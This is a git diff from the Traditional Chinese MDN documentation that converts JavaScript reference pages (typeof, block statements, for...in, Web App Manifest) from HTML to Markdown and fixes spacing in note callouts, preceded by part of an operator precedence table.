16 + {{jsxref("Operators","字尾遞增","#遞增與遞減", 1)}} + … ++
+ {{jsxref("Operators","字尾遞減","#遞增與遞減", 1)}} + … --
15 + Logical NOT + 從右至左! …
+ Bitwise NOT + ~ …
+ Unary Plus + + …
+ Unary Negation + - …
+ {{jsxref("Operators","字首遞增","#遞增與遞減", 1)}} + ++ …
+ {{jsxref("Operators","字首遞減","#遞增與遞減", 1)}} + -- …
{{jsxref("Operators/typeof", "typeof")}}typeof …
{{jsxref("Operators/void", "void")}}void …
{{jsxref("Operators/delete", "delete")}}delete …
{{jsxref("Operators/await", "await")}}await …
14 + Exponentiation + 從右至左… ** …
13 + Multiplication + 從左至右… * …
+ Division + … / …
+ Remainder + … % …
12 + Addition + 從左至右… + …
+ Subtraction + … - …
11 + Bitwise Left Shift + 從左至右… << …
+ Bitwise Right Shift + … >> …
+ Bitwise Unsigned Right Shift + … >>> …
10 + Less Than + 從左至右… < …
+ Less Than Or Equal + … <= …
+ Greater Than + … > …
+ Greater Than Or Equal + … >= …
{{jsxref("Operators/in", "in")}}… in …
{{jsxref("Operators/instanceof", "instanceof")}}… instanceof …
9 + Equality + 從左至右… == …
+ Inequality + … != …
+ Strict Equality + … === …
+ Strict Inequality + … !== …
8 + Bitwise AND + 從左至右… & …
7 + Bitwise XOR + 從左至右… ^ …
6 + Bitwise OR + 從左至右… | …
5 + Logical AND + 從左至右… && …
4 + Logical OR + 從左至右… || …
+ Nullish Coalescing + 從左至右… ?? …
3 + 條件運算 + 從右至左… ? … : …
2 + 賦值 + 從右至左… = …
… += …
… -= …
… **= …
… *= …
… /= …
… %= …
… <<= …
… >>= …
… >>>= …
… &= …
… ^= …
… |= …
… &&= …
… ||= …
… ??= …
1 + Comma / Sequence + 從左至右… , …
diff --git a/files/zh-tw/web/javascript/reference/operators/optional_chaining/index.md b/files/zh-tw/web/javascript/reference/operators/optional_chaining/index.md index 24c4ff1e62ceb9..0b0b11d2db10c3 100644 --- a/files/zh-tw/web/javascript/reference/operators/optional_chaining/index.md +++ b/files/zh-tw/web/javascript/reference/operators/optional_chaining/index.md @@ -63,7 +63,7 @@ let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.secon let result = someInterface.customMethod?.(); ``` -> **備註:**假如物件有同樣的屬性名稱,而不是一個方法,使用 `?.` 將會抛出 {{JSxRef("TypeError")}} 錯誤(` x.y`` 不是一個函數 `. +> **備註:** 假如物件有同樣的屬性名稱,而不是一個方法,使用 `?.` 將會抛出 {{JSxRef("TypeError")}} 錯誤(` x.y`` 不是一個函數 `. #### 處理回呼函式或事件處理器 diff --git a/files/zh-tw/web/javascript/reference/operators/this/index.md b/files/zh-tw/web/javascript/reference/operators/this/index.md index 4c9d5fc45d2f0c..261e472d7ab771 100644 --- a/files/zh-tw/web/javascript/reference/operators/this/index.md +++ b/files/zh-tw/web/javascript/reference/operators/this/index.md @@ -71,7 +71,7 @@ f2() === undefined; //true 所以在嚴格模式下,如果 `this` 沒有定義到執行環境內,其預設值就會是 `undefined`。 -> **備註:**在第二個例子裡面,`this` 應為 [`undefined`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/undefined),因為 `f2` 是直接被呼叫,而不是在其為某個物件的方法或屬性的情況下(例如 `window.f2()`)被直接呼叫。某些瀏覽器首次支援[嚴格模式](/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode)時沒導入這個特徵,它們會因此錯誤的回傳 `window` 物件。 +> **備註:** 在第二個例子裡面,`this` 應為 [`undefined`](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/undefined),因為 `f2` 是直接被呼叫,而不是在其為某個物件的方法或屬性的情況下(例如 `window.f2()`)被直接呼叫。某些瀏覽器首次支援[嚴格模式](/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode)時沒導入這個特徵,它們會因此錯誤的回傳 `window` 物件。 要從某個語境訪問另一個 `this` 語境的值,請使用 [call](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/call) 或 [apply](/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Function/apply): @@ -149,7 +149,7 @@ var foo = (() => this); console.log(foo() === globalObject); // true ``` -> **備註:**如果這參數被傳遞給箭頭函式的 call, bind, apply 調用,該參數會被忽略。你仍然可以將參數預先調用到 call,但第一個參數(thisArg)必須設置為空。 +> **備註:** 如果這參數被傳遞給箭頭函式的 call, bind, apply 調用,該參數會被忽略。你仍然可以將參數預先調用到 call,但第一個參數(thisArg)必須設置為空。 ```js // 作為物件的方法呼叫 @@ -271,7 +271,7 @@ console.log(o.average, o.sum); // logs 2, 6 若函式以建構子的身份呼叫(使用 [`new`](/zh-TW/docs/Web/JavaScript/Reference/Operators/new) 關鍵字) `this` 會和被建構的新物件綁定。 -> **備註:**建構子預設透過 `this` 回傳該物件的參照,但它其實能回傳其他物件。如果回傳值不是物件的話,就會回傳 `this` 這個物件。 +> **備註:** 建構子預設透過 `this` 回傳該物件的參照,但它其實能回傳其他物件。如果回傳值不是物件的話,就會回傳 `this` 這個物件。 ```js /* diff --git a/files/zh-tw/web/javascript/reference/operators/typeof/index.html b/files/zh-tw/web/javascript/reference/operators/typeof/index.html deleted file mode 100644 index ab8749f2e89282..00000000000000 --- a/files/zh-tw/web/javascript/reference/operators/typeof/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: typeof -slug: Web/JavaScript/Reference/Operators/typeof -tags: - - 運算子 -translation_of: Web/JavaScript/Reference/Operators/typeof ---- -

{{jsSidebar("Operators")}}

- -

摘要

- -

typeof 運算子會傳回一個字串值, 指出未經運算 (unevaluated) 的運算元所代表的型別。

- - - - - - - - - - - - - - - - - -
運算子
實作於:JavaScript 1.1
ECMA 版本:ECMA-262 (以及 ECMA-357 for E4X objects)
- -

語法

- -

typeof 之後面跟著它的唯一運算元:

- -
typeof operand
- -

參數

- -
operand 表示式代表傳入的物件或原始型別。
- -

說明

- -

下表摘要列出了 typeof 可能的傳回值:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
型別傳回
Undefined"undefined"
Null"object"
Boolean"boolean"
Number"number"
String"string"
主機端物件 (由 JS 執行環境提供)視實作方式而異
Function 物件 (實作 ECMA-262 所定義的 [[Call]])"function"
E4X XML 物件"xml"
E4X XMLList 物件"xml"
所有其它物件"object"
- -

範例

- -

一般情況

- -
// Numbers
-typeof 37 === 'number';
-typeof 3.14 === 'number';
-typeof Math.LN2 === 'number';
-typeof Infinity === 'number';
-typeof NaN === 'number'; // 雖然是 "Not-A-Number"
-typeof Number(1) === 'number'; // 但是不要使用這種方式!
-
-// Strings
-typeof "" === 'string';
-typeof "bla" === 'string';
-typeof (typeof 1) === 'string'; // typeof 一律會傳回一個字串
-typeof String("abc") === 'string'; // 但是不要使用這種方式!
-
-// Booleans
-typeof true === 'boolean';
-typeof false === 'boolean';
-typeof Boolean(true) === 'boolean'; // 但是不要使用這種方式!
-
-// Undefined
-typeof undefined === 'undefined';
-typeof blabla === 'undefined'; // 一個 undefined 變數
-
-// Objects
-typeof {a:1} === 'object';
-typeof [1, 2, 4] === 'object'; // 請使用 Array.isArray 或者 Object.prototype.toString.call 以區分正規運算式和陣列
-typeof new Date() === 'object';
-
-typeof new Boolean(true) === 'object'; // 這樣會令人混淆。不要這樣用!
-typeof new Number(1) === 'object'; // 這樣會令人混淆。不要這樣用!
-typeof new String("abc") === 'object';  // 這樣會令人混淆。不要這樣用!
-
-// Functions
-typeof function(){} === 'function';
-typeof Math.sin === 'function';
-
- -

null

- -
typeof null === 'object'; // 自從有 JavaScript 開始就是這樣了
-
- -

自從 JavaScript 一開始出現, JavaScript 的值就總以型別標簽跟著一個值的方式表示。物件的型別標簽是 0. 而 null 這個值是使用 NULL 指標 (在大部份平台上是 0x00) 來表示. 因此, null 看起來像是一個以 0 為型別標簽的值, 並使得 typeof 傳回不甚正確的結果. (參考來源)

- -

這個問題已計畫在下一版 ECMAScript 予以修正 (會以 opt-in 方式提供). 屆時它將會做出如 typeof null === 'null' 的正確回傳結果。

- -
-

備註:此修正計畫已被拒絕

-
- -

正規表示式 (Regular expressions)

- -

可呼叫的正規表示式在某些瀏覽器上面必須借助非正式插件 (need reference to say which).

- -
typeof /s/ === 'function'; // Chrome 1-12 ... // 不符合 ECMAScript 5.1 (譯註: 在新版 Chrome 已修正為 'object')
-typeof /s/ === 'object'; // Firefox 5+ ...    // 符合 ECMAScript 5.1
-
- -

其它怪異輸入 (quirks)

- -

舊版 Internet Explorer 請留意 alert 函數

- -

在 IE 6, 7 和 8, typeof alert === 'object'

- -
-

備註:這並不怪異。這是實情。在許多較舊的 IE 中, 主機端物件的確是物件, 而非函數

-
- -

規範

- -{{Specifications}} - -

參照

- - diff --git a/files/zh-tw/web/javascript/reference/operators/typeof/index.md b/files/zh-tw/web/javascript/reference/operators/typeof/index.md new file mode 100644 index 00000000000000..0bc80bf3232a70 --- /dev/null +++ b/files/zh-tw/web/javascript/reference/operators/typeof/index.md @@ -0,0 +1,138 @@ +--- +title: typeof +slug: Web/JavaScript/Reference/Operators/typeof +tags: + - 運算子 +translation_of: Web/JavaScript/Reference/Operators/typeof +--- +{{jsSidebar("Operators")}} + +## 摘要 + +typeof 運算子會傳回一個字串值, 指出未經運算 (unevaluated) 的運算元所代表的型別。 + + + + + + + + + + + + + + + + + +
運算子
實作於:JavaScript 1.1
ECMA 版本:ECMA-262 (以及 ECMA-357 for E4X objects)
+ +## 語法 + +`typeof` 之後面跟著它的唯一運算元: + +```plain +typeof operand +``` + +## 參數 + +`operand` 表示式代表傳入的物件或原始型別。 + +## 說明 + +下表摘要列出了 `typeof 可能的傳回值`: + +| 型別 | 傳回 | +| ----------------------------------------------- | ---------------- | +| Undefined | `"undefined"` | +| Null | `"object"` | +| Boolean | `"boolean"` | +| Number | `"number"` | +| String | `"string"` | +| 主機端物件 (由 JS 執行環境提供) | _視實作方式而異_ | +| Function 物件 (實作 ECMA-262 所定義的 [[Call]]) | `"function"` | +| E4X XML 物件 | "xml" | +| E4X XMLList 物件 | "xml" | +| 所有其它物件 | `"object"` | + +## 範例 + +### 一般情況 + +```js +// Numbers +typeof 37 === 'number'; +typeof 3.14 === 'number'; +typeof Math.LN2 === 'number'; +typeof Infinity === 'number'; +typeof NaN === 'number'; // 雖然是 "Not-A-Number" +typeof Number(1) === 'number'; // 但是不要使用這種方式! + +// Strings +typeof "" === 'string'; +typeof "bla" === 'string'; +typeof (typeof 1) === 'string'; // typeof 一律會傳回一個字串 +typeof String("abc") === 'string'; // 但是不要使用這種方式! + +// Booleans +typeof true === 'boolean'; +typeof false === 'boolean'; +typeof Boolean(true) === 'boolean'; // 但是不要使用這種方式! + +// Undefined +typeof undefined === 'undefined'; +typeof blabla === 'undefined'; // 一個 undefined 變數 + +// Objects +typeof {a:1} === 'object'; +typeof [1, 2, 4] === 'object'; // 請使用 Array.isArray 或者 Object.prototype.toString.call 以區分正規運算式和陣列 +typeof new Date() === 'object'; + +typeof new Boolean(true) === 'object'; // 這樣會令人混淆。不要這樣用! +typeof new Number(1) === 'object'; // 這樣會令人混淆。不要這樣用! +typeof new String("abc") === 'object'; // 這樣會令人混淆。不要這樣用! + +// Functions +typeof function(){} === 'function'; +typeof Math.sin === 'function'; +``` + +### `null` + +```js +typeof null === 'object'; // 自從有 JavaScript 開始就是這樣了 +``` + +自從 JavaScript 一開始出現, JavaScript 的值就總以型別標簽跟著一個值的方式表示。物件的型別標簽是 0. 而 `null` 這個值是使用 NULL 指標 (在大部份平台上是 0x00) 來表示. 因此, null 看起來像是一個以 0 為型別標簽的值, 並使得 `typeof` 傳回不甚正確的結果. ([參考來源](http://www.2ality.com/2013/10/typeof-null.html)) + +這個問題已計畫[在下一版 ECMAScript 予以修正](http://wiki.ecmascript.org/doku.php?id=harmony:typeof_null) (會以 opt-in 方式提供). 屆時它將會做出如 `typeof null === 'null'` 的正確回傳結果。 + +> **備註:** 此修正計畫已被拒絕 + +### 正規表示式 (Regular expressions) + +可呼叫的正規表示式在某些瀏覽器上面必須借助非正式插件 (need reference to say which). + +```js +typeof /s/ === 'function'; // Chrome 1-12 ... // 不符合 ECMAScript 5.1 (譯註: 在新版 Chrome 已修正為 'object') +typeof /s/ === 'object'; // Firefox 5+ ... // 符合 ECMAScript 5.1 +``` + +### 其它怪異輸入 (quirks) + +#### 舊版 Internet Explorer 請留意 alert 函數 + +在 IE 6, 7 和 8, `typeof alert === 'object'` + +> **備註:** 這並不怪異。這是實情。在許多較舊的 IE 中, 主機端物件的確是物件, 而非函數 + +## 規範 + +{{Specifications}} + +## 參照 + +- [instanceof](/zh-TW/docs/JavaScript/Reference/Operators/instanceof) diff --git a/files/zh-tw/web/javascript/reference/statements/block/index.html b/files/zh-tw/web/javascript/reference/statements/block/index.html deleted file mode 100644 index b032d41000743e..00000000000000 --- a/files/zh-tw/web/javascript/reference/statements/block/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: 區塊 -slug: Web/JavaScript/Reference/Statements/block -translation_of: Web/JavaScript/Reference/Statements/block ---- -

{{jsSidebar("Statements")}}

- -

總覽

- -

區塊陳述用來組合零個或多個陳述。我們使用一對大括號 { } 以界定區塊。

- - - - - - - - - - - - - - - -
陳述句
Implemented inJavaScript 1.0
ECMAScript editionECMA-262 1st edition
- -

語法

- -
{
-  陳述_1
-  陳述_2
-  ...
-  陳述_n
-}
-
- -

參數

- -
-
陳述_1, 陳述_2, 陳述_n
-
區塊陳述中的陳述句群。
-
- -

說明

- -

區塊陳述通常配合流程控制陳述(如 ifforwhile)一併使用。

- -

var

- -

使用var區塊中定義的變數,其存取範圍是整個整個函式或是腳本,即為Execution Context的範圍中。

- -
var x = 1;
-{
-  var x = 2;
-}
-alert(x); // outputs 2
-
- -

輸出結果是 2。因為var是宣告於整個腳本範圍中。

- -

let const

- -

當使用let或是const進行宣告時,其存取範圍是只有本身定義的區塊中。

- -
let x = 1;
-{
-  let x = 2;
-}
-console.log(x); // logs 1
- -

function

- -

當function被呼叫時,會建立此function的Execution Context,因此在function區塊使用var整個function區塊中都可對其進行存取。

- -
function foo() {
-    {
-        var a = 'var';
-        {
-            let a = 'let';
-            console.log(a);  // let
-        }
-    }
-    console.log(a);  // var
-}
-foo();
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -{{Compat}} diff --git a/files/zh-tw/web/javascript/reference/statements/block/index.md b/files/zh-tw/web/javascript/reference/statements/block/index.md new file mode 100644 index 00000000000000..f638ff3cb4b501 --- /dev/null +++ b/files/zh-tw/web/javascript/reference/statements/block/index.md @@ -0,0 +1,98 @@ +--- +title: 區塊 +slug: Web/JavaScript/Reference/Statements/block +translation_of: Web/JavaScript/Reference/Statements/block +--- +{{jsSidebar("Statements")}} + +## 總覽 + +區塊陳述用來組合零個或多個陳述。我們使用一對大括號 { } 以界定區塊。 + + + + + + + + + + + + + + + +
陳述句
Implemented inJavaScript 1.0
ECMAScript editionECMA-262 1st edition
+ +## 語法 + +```plain +{ + 陳述_1 + 陳述_2 + ... + 陳述_n +} +``` + +### 參數 + +- `陳述_1`, `陳述_2`, `陳述_n` + - : 區塊陳述中的陳述句群。 + +## 說明 + +區塊陳述通常配合流程控制陳述(如 `if`、`for`、`while`)一併使用。 + +#### `var` + +使用`var`區塊中定義的變數,其存取範圍是整個整個函式或是腳本,即為 Execution Context 的範圍中。 + +```js +var x = 1; +{ + var x = 2; +} +alert(x); // outputs 2 +``` + +輸出結果是 2。因為 var 是宣告於整個腳本範圍中。 + +#### `let `和 `const` + +當使用`let`或是`const`進行宣告時,其存取範圍是只有本身定義的區塊中。 + +```js +let x = 1; +{ + let x = 2; +} +console.log(x); // logs 1 +``` + +#### `function` + +當 function 被呼叫時,會建立此 function 的 Execution Context,因此在 function 區塊使用`var`整個 function 區塊中都可對其進行存取。 + +```js +function foo() { + { + var a = 'var'; + { + let a = 'let'; + console.log(a); // let + } + } + console.log(a); // var +} +foo(); +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat}} diff --git a/files/zh-tw/web/javascript/reference/statements/for...in/index.html b/files/zh-tw/web/javascript/reference/statements/for...in/index.html deleted file mode 100644 index ef61935b2419de..00000000000000 --- a/files/zh-tw/web/javascript/reference/statements/for...in/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: for...in -slug: Web/JavaScript/Reference/Statements/for...in -translation_of: Web/JavaScript/Reference/Statements/for...in ---- -

{{jsSidebar("Statements")}}

- -

Summary

- -

迭代物件的可列舉屬性。對每個相異屬性,執行陳述式。

- - - - - - - - - - - - - - - - - -
Statement
Implemented in:JavaScript 1.0
ECMA Version:ECMA-262
- -

語法

- -
for (變數 in 物件) {...
-}
- -

參數

- -
-
變數
-
A different property name is assigned to variable on each iteration.
-
物件
-
Object whose enumerable properties are iterated.
-
- -

Description

- -

for...in 迴圈只迭代可列舉屬性。由內建建構式(如:Array、Object) 製造的物件,從 Object.prototypeString.prototype 繼承了不可列舉屬性,如: StringindexOf 方法,或 ObjecttoString 方法。 迴圈將迭代全部可列舉屬性,包括了物件自身的和物件繼承自它的建構式之原型的可列舉屬性。(原型鏈上較接近物件的屬性覆蓋原型的屬性)

- -

A for...in loop iterates over the properties of an object in an arbitrary order (see the delete operator for more on why one cannot depend on the seeming orderliness of iteration, at least in a cross-browser setting). If a property is modified in one iteration and then visited at a later time, its value in the loop is its value at that later time. A property that is deleted before it has been visited will not be visited later. Properties added to the object over which iteration is occurring may either be visited or omitted from iteration. In general it is best not to add, modify or remove properties from the object during iteration, other than the property currently being visited. There is no guarantee whether or not an added property will be visited, whether a modified property (other than the current one) will be visited before or after it is modified, or whether a deleted property will be visited before it is deleted.

- -
-

Note: If you only want to consider properties attached to the object itself, and not its prototypes, use getOwnPropertyNames or perform a hasOwnProperty check (propertyIsEnumerable can also be used). Alternatively, if you know there won't be any outside code interference, you can extend built-in prototypes with a check method.

-
- -
-

備註:for..in 不應該用來迭代一個索引順序很重要的陣列 陣列索引只是以整數命名的可列舉屬性,其他方面等同於一般物件屬性。 無法擔保 for...in 以特定順序傳回索引,並且它將傳回全部可列舉屬性,包括非整數名的,以及繼承而來的可列舉屬性。

- -

因為迭代的順序依賴於 JavaScript 引擎的實作,在不同引擎下,迭代一個陣列可能不是以一個一致的順序存取陣列元素。因此,當你迭代陣列,且該陣列的存取順序很重要時,最好是使用以數值索引的 for 迴圈 (或 Array.forEach 或非標準 for...of 迴圈)。

-
- -

Examples

- -

The following function takes as its arguments an object and the object's name. It then iterates over all the object's enumerable properties and returns a string of the property names and their values.

- -
var o = {a:1, b:2, c:3};
-
-function show_props(obj, objName) {
-  var result = "";
-
-  for (var prop in obj) {
-    result += objName + "." + prop + " = " + obj[prop] + "\n";
-  }
-
-  return result;
-}
-
-alert(show_props(o, "o")); /* alerts (in different lines): o.a = 1 o.b = 2 o.c = 3 */
-
- -

The following function illustrates the use of hasOwnProperty: the inherited properties are not displayed.

- -
var triangle = {a:1, b:2, c:3};
-
-function ColoredTriangle() {
-  this.color = "red";
-}
-
-ColoredTriangle.prototype = triangle;
-
-function show_own_props(obj, objName) {
-  var result = "";
-
-  for (var prop in obj) {
-    if( obj.hasOwnProperty( prop ) ) {
-      result += objName + "." + prop + " = " + obj[prop] + "\n";
-    }
-  }
-
-  return result;
-}
-
-o = new ColoredTriangle();
-alert(show_own_props(o, "o")); /* alerts: o.color = red */
-
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -{{Compat}} - -

See also

- - diff --git a/files/zh-tw/web/javascript/reference/statements/for...in/index.md b/files/zh-tw/web/javascript/reference/statements/for...in/index.md new file mode 100644 index 00000000000000..b19a3a7b3a1e93 --- /dev/null +++ b/files/zh-tw/web/javascript/reference/statements/for...in/index.md @@ -0,0 +1,118 @@ +--- +title: for...in +slug: Web/JavaScript/Reference/Statements/for...in +translation_of: Web/JavaScript/Reference/Statements/for...in +--- +{{jsSidebar("Statements")}} + +## Summary + +迭代物件的可列舉屬性。對每個相異屬性,執行陳述式。 + + + + + + + + + + + + + + + + + +
Statement
Implemented in:JavaScript 1.0
ECMA Version:ECMA-262
+ +## 語法 + +```plain +for (變數 in 物件) {... +} +``` + +### 參數 + +- `變數` + - : A different property name is assigned to _variable_ on each iteration. +- `物件` + - : Object whose enumerable properties are iterated. + +## Description + +`for...in` 迴圈只迭代可列舉屬性。由內建建構式(如:Array、Object) 製造的物件,從 `Object.prototype` 和 `String.prototype` 繼承了不可列舉屬性,如: [`String`](/en-US/docs/JavaScript/Reference/Global_Objects/String)的[`indexOf`](/en-US/docs/JavaScript/Reference/Global_Objects/String/indexOf) 方法,或 [`Object`](/en-US/docs/JavaScript/Reference/Global_Objects/Object)的 [`toString`](/en-US/docs/JavaScript/Reference/Global_Objects/Object/toString) 方法。 迴圈將迭代全部可列舉屬性,包括了物件自身的和物件繼承自它的建構式之原型的可列舉屬性。(原型鏈上較接近物件的屬性覆蓋原型的屬性) + +A `for...in` loop iterates over the properties of an object in an arbitrary order (see the [delete operator](/zh-TW/docs/JavaScript/Reference/Operators/delete#Cross-browser_issues) for more on why one cannot depend on the seeming orderliness of iteration, at least in a cross-browser setting). If a property is modified in one iteration and then visited at a later time, its value in the loop is its value at that later time. A property that is deleted before it has been visited will not be visited later. Properties added to the object over which iteration is occurring may either be visited or omitted from iteration. In general it is best not to add, modify or remove properties from the object during iteration, other than the property currently being visited. There is no guarantee whether or not an added property will be visited, whether a modified property (other than the current one) will be visited before or after it is modified, or whether a deleted property will be visited before it is deleted. + +> **備註:** If you only want to consider properties attached to the object itself, and not its prototypes, use [getOwnPropertyNames](/zh-TW/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames) or perform a [hasOwnProperty](/zh-TW/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) check ([propertyIsEnumerable](/zh-TW/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable) can also be used). Alternatively, if you know there won't be any outside code interference, you can extend built-in prototypes with a check method. + +> **備註:** `for..in` 不應該用來迭代一個索引順序很重要的[陣列](/zh-TW/docs/JavaScript/Reference/Global_Objects/Array)。 陣列索引只是以整數命名的可列舉屬性,其他方面等同於一般物件屬性。 無法擔保 `for...in` 以特定順序傳回索引,並且它將傳回全部可列舉屬性,包括非整數名的,以及繼承而來的可列舉屬性。因為迭代的順序依賴於 JavaScript 引擎的實作,在不同引擎下,迭代一個陣列可能不是以一個一致的順序存取陣列元素。因此,當你迭代陣列,且該陣列的存取順序很重要時,最好是使用以數值索引的 [for](/zh-TW/docs/JavaScript/Reference/Statements/for) 迴圈 (或 [Array.forEach](/zh-TW/docs/JavaScript/Reference/Global_Objects/Array/forEach) 或非標準 [`for...of`](/en-US/docs/JavaScript/Reference/Statements/for...of) 迴圈)。 + +## Examples + +The following function takes as its arguments an object and the object's name. It then iterates over all the object's enumerable properties and returns a string of the property names and their values. + +```js +var o = {a:1, b:2, c:3}; + +function show_props(obj, objName) { + var result = ""; + + for (var prop in obj) { + result += objName + "." + prop + " = " + obj[prop] + "\n"; + } + + return result; +} + +alert(show_props(o, "o")); /* alerts (in different lines): o.a = 1 o.b = 2 o.c = 3 */ +``` + +The following function illustrates the use of hasOwnProperty: the inherited properties are not displayed. + +```js +var triangle = {a:1, b:2, c:3}; + +function ColoredTriangle() { + this.color = "red"; +} + +ColoredTriangle.prototype = triangle; + +function show_own_props(obj, objName) { + var result = ""; + + for (var prop in obj) { + if( obj.hasOwnProperty( prop ) ) { + result += objName + "." + prop + " = " + obj[prop] + "\n"; + } + } + + return result; +} + +o = new ColoredTriangle(); +alert(show_own_props(o, "o")); /* alerts: o.color = red */ +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat}} + +## See also + +- [`for...of`](/zh-TW/docs/JavaScript/Reference/Statements/for...of) - a similar statement that iterates over the property _values_ +- [`for each...in`](/zh-TW/docs/JavaScript/Reference/Statements/for_each...in) - a similar statement, but iterates over the values of object's properties, rather than the property names themselves ([New in JavaScript 1.6](/zh-TW/docs/JavaScript/New_in_JavaScript/1.6) but deprecated) +- [for](/zh-TW/docs/JavaScript/Reference/Statements/for) +- [Generator expressions](/zh-TW/docs/JavaScript/Guide/Iterators_and_Generators) (uses the `for...in` syntax) +- [Enumerability and ownership of properties](/zh-TW/docs/Enumerability_and_ownership_of_properties) +- [`getOwnPropertyNames`](/zh-TW/docs/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames) +- [`hasOwnProperty`](/zh-TW/docs/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) +- [`Array.prototype.forEach`](/zh-TW/docs/JavaScript/Reference/Global_Objects/Array/forEach) diff --git a/files/zh-tw/web/javascript/reference/statements/label/index.md b/files/zh-tw/web/javascript/reference/statements/label/index.md index 588beeacff162f..16882df78c8eb9 100644 --- a/files/zh-tw/web/javascript/reference/statements/label/index.md +++ b/files/zh-tw/web/javascript/reference/statements/label/index.md @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Statements/label {{EmbedInteractiveExample("pages/js/statement-label.html")}} -> **備註:**標記的迴圈或程式碼區塊非常罕見。通常可以使用函式呼叫而不是使用迴圈跳轉。 +> **備註:** 標記的迴圈或程式碼區塊非常罕見。通常可以使用函式呼叫而不是使用迴圈跳轉。 ## 語法 diff --git a/files/zh-tw/web/javascript/reference/statements/return/index.md b/files/zh-tw/web/javascript/reference/statements/return/index.md index 7d64ab00e02324..602429fa576e40 100644 --- a/files/zh-tw/web/javascript/reference/statements/return/index.md +++ b/files/zh-tw/web/javascript/reference/statements/return/index.md @@ -60,7 +60,7 @@ a + b; 主控台會警告「unreachable code after return statement」(在 return 宣告後面有無法抵達的程式碼)。 -> **備註:**從 Gecko 40 {{geckoRelease(40)}} 開始,如果主控台發現在 return 宣告後面有無法抵達的程式碼,就會顯示警告。 +> **備註:** 從 Gecko 40 {{geckoRelease(40)}} 開始,如果主控台發現在 return 宣告後面有無法抵達的程式碼,就會顯示警告。 要避免 ASI 問題,可以添加括號: diff --git a/files/zh-tw/web/javascript/typed_arrays/index.md b/files/zh-tw/web/javascript/typed_arrays/index.md index 8cca40b4d50e9f..72860e299bd7d8 100644 --- a/files/zh-tw/web/javascript/typed_arrays/index.md +++ b/files/zh-tw/web/javascript/typed_arrays/index.md @@ -132,7 +132,7 @@ var amountDueView = new Float32Array(buffer, 20, 1); 舉例來說,可以用 `amountDueView[0]` 存取 amountDue。 -> **備註:**C 結構的 [data structure alignment](http://en.wikipedia.org/wiki/Data_structure_alignment) 是與使用平台有關,須小心這些填充上的差異。 +> **備註:** C 結構的 [data structure alignment](http://en.wikipedia.org/wiki/Data_structure_alignment) 是與使用平台有關,須小心這些填充上的差異。 ### Conversion to normal arrays diff --git a/files/zh-tw/web/manifest/index.html b/files/zh-tw/web/manifest/index.html deleted file mode 100644 index 7d6174d757db2b..00000000000000 --- a/files/zh-tw/web/manifest/index.html +++ /dev/null @@ -1,310 +0,0 @@ ---- -title: Web App Manifest -slug: Web/Manifest -translation_of: Web/Manifest ---- -

{{SeeCompatTable}}

- -

Web App manifest 是一個 JSON 格式的文件,它提供了應用程式相關的資訊(像是名稱、作者、圖示、描述)。 manifest 的功用是將 Web 應用程式安裝到設備的主畫面,為使用者提供更快速的訪問和更豐富的體驗。

- -

Web App manifests 是屬於 progressive web apps 的 Web 技術系列的一部分, 這是一個能不透過 App 商店就能被安裝到設備主畫面的 Web 應用程式,伴隨著其他功能,比如離線使用和通知的接收發送。

- -

部署 manifest

- -

Web app manifest 的部署只需要在 HTML 文件中的 head 區域加上 link 元素即可。

- -
-
<link rel="manifest" href="/manifest.json">
-
- -

manifest 範例

- -
{
-  "name": "HackerWeb",
-  "short_name": "HackerWeb",
-  "start_url": ".",
-  "display": "standalone",
-  "background_color": "#fff",
-  "description": "A simply readable Hacker News app.",
-  "icons": [{
-    "src": "images/touch/homescreen48.png",
-    "sizes": "48x48",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen72.png",
-    "sizes": "72x72",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen96.png",
-    "sizes": "96x96",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen144.png",
-    "sizes": "144x144",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen168.png",
-    "sizes": "168x168",
-    "type": "image/png"
-  }, {
-    "src": "images/touch/homescreen192.png",
-    "sizes": "192x192",
-    "type": "image/png"
-  }],
-  "related_applications": [{
-    "platform": "web"
-  }, {
-    "platform": "play",
-    "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb"
-  }]
-}
- -

成員

- -

background_color

- -

定義 Web 應用程式預期的背景顏色。 其值雖然與應用程式樣式表中的值有所重複,但是在 manifest 已可用而樣式表載入之前,瀏覽器可使用該值來繪製 Web 應用程式的背景色。 這能在 Web 應用程式的啟動和載入內容之間創建平順的過場。

- -
"background_color": "red"
- -
-

Note: background_color 成員僅用於改善 Web 應用程式載入時體驗,並且當 Web 應用程式的樣式表可用時,使用者代理不能再將其用作背景顏色。

-
- -

description

- -

提供一段描述來形容這個 Web 應用程式的作用是什麼。

- -
"description": "The app that helps you find the best food in town!"
- -

dir

- -

指定一個對於 nameshort_name、description 等成員的主要書寫方向。 包含 lang 成員,其能夠為右至左書寫的語言提供幫助。

- -
"dir": "rtl",
-"lang": "ar",
-"short_name": "أنا من التطبيق!"
- -

其值可以是下列的其中之一:

- -
    -
  • ltr(左至右)
  • -
  • rtl(右至左)
  • -
  • auto(讓瀏覽器根據 Unicode 雙向演算法對書寫方向做出最佳的猜測)
  • -
- -
-

Note: 當省略其值時,預設為 auto

-
- -

display

- -

